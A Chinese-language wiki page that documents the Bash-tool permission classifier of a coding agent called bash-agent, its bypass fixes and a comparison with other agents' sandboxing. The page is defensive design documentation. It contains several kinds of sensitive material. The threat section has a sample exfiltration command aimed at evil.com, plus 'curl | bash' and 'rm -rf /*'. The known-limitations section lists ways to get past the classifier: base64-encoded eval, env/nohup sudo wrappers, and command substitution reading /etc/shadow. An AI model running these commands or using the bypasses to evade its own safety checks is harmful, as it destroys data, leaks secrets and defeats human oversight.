Skip to content

Bash Tool Permission Mode (v2)

lloydzhou edited this page Jun 15, 2026 · 1 revision

Bash 工具权限模式:设计原理与行业对标

本文深入介绍 bash-agent 的 Bash 工具权限模型的设计理念、实现细节、安全演进历史,并与主流 AI Coding Agent 的安全方案进行对标分析。


1. 为什么需要权限模型

AI Coding Agent 的 Bash 工具是权限最大的工具——它可以执行任意 shell 命令。如果没有权限控制,一次 prompt injection 就可能导致:

  • 删除重要文件(rm -rf /)
  • 数据外泄(curl https://evil.com -d @/etc/passwd)
  • 提权攻击(sudo)
  • 恶意软件安装(curl ... | bash)

行业里已经发生过多次真实事故:Replit 的 AI agent 删除了生产数据库;Google Gemini CLI 在"移动文件"时覆盖了所有数据。这些事故的根因都是:agent 拥有它不该有的权限。


2. bash-agent 的权限模型

2.1 核心设计:Scope × Permission 矩阵

bash-agent 使用一个 4 位八进制数 表示权限策略,每位对应一个 scope,每位内的 3 bit 对应 read/write/execute:

BASH_AGENT_BASH_MODE = 0 4 6 7
                         | | | |
                         | | | `- workspace:  当前项目目录内
                         | | `--- network:    网络访问 (curl/wget/git)
                         | `----- external:   工作区外的文件路径
                         `------- system:     系统路径 + 特权命令

每位是一个 3-bit rwx 掩码(与 Linux 文件权限相同的思维模型):

八进制 二进制 含义
0 000 无权限
4 100 只读
6 110 读 + 写
7 111 读 + 写 + 执行

默认值 0467:

system=0    无权限          — /etc /usr 等系统路径完全封锁
external=4  只读            — 可以读取 ~/ 外部文件,不可写入
network=6   读 + 写         — 可以 curl/wget 读取,也可以 git push
workspace=7 读 + 写 + 执行  — 项目目录内完全自由

2.2 为什么是这四个 Scope

Scope 包含什么 为什么单独一位
system /etc /usr /bin /sbin /var /dev /System / /*;sudo/su/doas 系统级操作风险最高,应可独立封锁
external ~/ 家目录下非工作区文件;../ 路径穿越;~/.ssh ~/.aws 等敏感路径 工作区外的用户文件,与工作区内的代码分离
network curl wget git clone/fetch/push scp ssh;/dev/tcp;| bash 管道执行 网络操作可导致数据外泄或恶意代码执行
workspace 当前项目目录($PWD)内的所有文件和命令 开发者最常用的操作,应最宽松

关键洞察:大多数开发者日常只需要 workspace 权限。默认 0467 正好实现了"workspace 全开、其他最小权限"的原则。

2.3 分类器工作原理

运行时对每条 Bash 命令执行静态分析,推导出 required mode:

用户命令 → [分类器] → required=0040 → [与 allowed 比较] → 允许/阻止

分类器是一个保守的轻量扫描器,不是完整的 Bash AST 解析器。处理流程:

1. 转小写(消除大小写差异)
2. 按换行符/&&/||/; 分割为 segments
3. 对每个 segment:
   a. 命令模式匹配(sudo/curl/git/rm ...)
   b. 逐 token 路径分析(/etc → system,~/ → external ...)
   c. 重定向检测(> file → write)
4. 合并所有 segment 的 mask
5. mask=0 时默认 workspace read

分类示例:

cat README.md                    → workspace read         (0004)
cat /etc/hosts                   → system read            (4000)
curl https://example.com         → network read           (0040)
curl https://x/install.sh | bash → network read + execute (0050)
echo hi > ~/note.txt             → external write         (0200)
rm -rf /*                        → system read + write    (6000)

2.4 允许/阻止规则

# 数学等价:(required & ~allowed) == 0 则允许
(( 8#$required & (4095 ^ 8#$allowed) == 0 ))

直觉理解:required 的每个权限位都必须在 allowed 中有对应位。

阻止时统一报错:

Error: command blocked by bash safety policy (required=4000 allowed=0467; mode=system/external/network/workspace bits=4:read,2:write,1:execute)

3. 安全演进历史

v4.2.5:CWD 感知

问题:tool_bash_add_path() 没有 CWD 概念,/Users/.../src/agent.sh 这样的 workspace 绝对路径被 EXTERNAL_PATH 正则误判为 external。

修复:分类器从 $PWD 初始化 CWD(转小写),路径匹配优先检查 CWD 前缀。

v4.2.6:根目录绕过修复

发现了三个安全漏洞并修复:

漏洞 1:根目录 / 和 /* 不归类为 system

/ 不匹配任何路径正则(/etc 需要 /etc 前缀,/[A-Za-z0-9._-] 需要字母后缀),被误归类为 workspace。

rm -rf /*  → 修复前: workspace rw (可执行)
             修复后: system rw (被阻止)

漏洞 2:RE_ROOT_DELETE 正则不匹配 /*

rm -rf /* 中 / 后跟 *(glob),不匹配原有的 /([[:space:]]|$) 末尾模式。

漏洞 3:sudo 换行绕过

sudo
rm -rf /etc

sudo 单独一行不匹配 sudo * 模式(需要 sudo 后跟空格+内容)。

修复方案:

  • tool_bash_add_path 中 / 和 /* → system scope
  • RE_ROOT_DELETE 正则末尾增加 |[*]
  • case 模式增加 sudo(无参数)匹配

4. 行业对标

4.1 主流方案对比

方案 代表产品 核心机制 隔离层级 用户干预
容器隔离 OpenHands, Devin Docker 容器完全隔离 OS 级 无需(容器内自由)
VM 隔离 GitHub Copilot Workspace 云端虚拟机 OS 级 无需(VM 内自由)
系统沙箱 Cursor (macOS) sandbox-exec / seatbelt 内核级 部分操作需确认
Allow/Deny List Claude Code 预批准命令模式 应用级 每次新命令需确认
Scope×Permission bash-agent 4 scope × rwx 自动分类 应用级 无需确认
无控制 Aider (早期) — — 每次操作都需确认

4.2 Claude Code 的权限模型

Claude Code 使用确认制 + allowlist:

  • 默认所有 Bash 命令需要用户 y/n 确认
  • 用户可以预批准特定命令模式(如 Bash(npm test:*))
  • 有 --allowedTools 和 permission mode 配置
  • .claude/settings.json 中可以定义 allow/deny 规则

优势:精细到每个命令模式,用户完全控制 劣势:交互成本高,自动化流程被打断;allowlist 可能过于宽松

4.3 Cursor 的沙箱模型

Cursor 在 macOS 上使用 sandbox-exec(seatbelt)做系统级沙箱:

  • 限制文件系统写入范围(只有项目目录可写)
  • 限制网络访问(可配置允许的域名)
  • Agent 模式下部分操作仍需确认

优势:内核级强制,难以绕过 劣势:平台依赖(macOS 特有);配置复杂;Linux/Windows 支持不一致

4.4 OpenHands / Devin 的容器模型

完全在 Docker 容器或云端 VM 中运行:

  • 容器内 agent 有完整 root 权限
  • 通过 volume mount 控制可访问的宿主目录
  • 通过网络策略控制出站连接

优势:最强隔离,即使被攻破也不影响宿主 劣势:资源开销大;启动慢;不适合本地轻量开发

4.5 bash-agent 的差异化定位

重量级 ←————————————————————→ 轻量级
VM/容器    系统沙箱    Allow/Deny    bash-agent
OpenHands   Cursor     Claude Code   Scope×Permission

bash-agent 的独特之处:

特性 说明
零依赖 纯 bash/awk 实现,不需要 Docker/sandbox-exec/VM
自动分类 分类器自动判断权限,用户无需逐条确认
跨平台 macOS/Linux 通用,不依赖平台特性
可预测 分类规则完全公开,用户可以精确预测命令是否被允许
跨语言一致 Bash/C/Go/Rust 四个运行时共享同一分类逻辑和结果
可调节 一个环境变量 BASH_AGENT_BASH_MODE 调节全局策略

权衡:bash-agent 的应用级分类器不如内核沙箱(Cursor)或容器隔离(OpenHands)强,但胜在零依赖、跨平台、无交互成本。适合可信环境下的开发者自助使用(开发者自己的机器、CI/CD),不适合不信任的代码执行场景。


5. 已知限制

分类器是保守的静态分析,不是完整的 shell 解析器。以下是设计层面的限制:

5.1 动态命令无法分析

# base64 编码的命令 — 分类器看不到实际内容
eval $(echo cm0gLXJmIC8= | base64 -d)

# 变量展开 — 分类器不知道 $CMD 的值
$CMD --dangerous-flag

5.2 包装命令绕过

# env/nohup/timeout 包装特权命令
env sudo echo hi        # "env" 在行首,sudo 不被检测
nohup sudo rm -rf /etc  # 同理

5.3 命令替换中的内容不递归分析

# 反引号中的路径不被单独分析
cat `/etc/passwd`       # `/etc/passwd` 不是独立 token

# $() 中的命令不递归
echo $(cat /etc/shadow)

5.4 为什么不修复这些

这些限制是设计与成本之间的有意权衡:

  • 完整的 Bash 解析器(如 shellcheck)体积庞大,不适合纯 bash/awk 实现
  • 四语言一致性要求使得复杂逻辑的同步成本极高
  • 分类器的设计目标是覆盖 95% 的常见场景,对极端构造保持"够用"
  • 对于不信任的代码,推荐使用容器/VM 级隔离(而非依赖应用层分类器)

6. 推荐配置场景

# 默认:日常开发(workspace 全开,系统封锁,网络读写)
export BASH_AGENT_BASH_MODE=0467

# 只读审计:不允许任何写入
export BASH_AGENT_BASH_MODE=0444

# 开放系统读取(需要读 /etc /var 等排查问题)
export BASH_AGENT_BASH_MODE=4467

## 完全信任环境(慎用)
export BASH_AGENT_BASH_MODE=7777

# 完全封锁 Bash 工具
export BASH_AGENT_BASH_MODE=0000

实践建议:

  • 保持 0467 作为日常默认
  • 仅在需要时临时扩大权限(如 BASH_AGENT_BASH_MODE=4467 agent.sh "检查 /etc/hosts")
  • 不要在 shell profile(.bashrc/.zshrc)中设置高权限值
  • 处理不信任的代码仓库时,使用 Docker 或 VM 隔离

7. 四语言实现一致性

bash-agent 的 Bash/C/Go/Rust 四个运行时共享同一套分类逻辑和分类结果。这意味着同一条命令在四个版本中产生相同的 required mode。

一致性验证通过单元测试保证:

  • Bash:tests/test.sh Test 51(172+ 用例)
  • C:c/test_classify.c(28 用例)
  • Go:go/agent_test.go TestToolClassifyBashRequiredMode(12 用例)
  • Rust:rust/src/tools.rs bash_mode_classifier(3 组测试)

四版本共享相同的:

  • 正则表达式(ROOT_DELETE / SYSTEM_PATH / SENSITIVE_PATH / EXTERNAL_PATH / DEVICE_WRITE)
  • scope 映射逻辑
  • segment 分割规则(按 \n / && / || / ;)
  • token 遍历和路径分析
  • mask 合并和最终格式化

总结

bash-agent 的 Bash 工具权限模型在轻量性和精细度之间找到了一个独特的平衡点。它不追求内核级强隔离(那是容器/沙箱的领域),而是通过应用层的自动分类,让开发者在不改变工作流的前提下获得基本的安全保障。

与 Claude Code 的 allow/deny list 相比,它减少了交互成本;与 Cursor 的 sandbox 相比,它跨平台且零依赖;与容器方案相比,它轻量且即时。

安全是持续演进的过程——v4.2.5 修复了 CWD 误判,v4.2.6 修复了根目录绕过。未来版本将继续在保持轻量的前提下收紧分类器。

Clone this wiki locally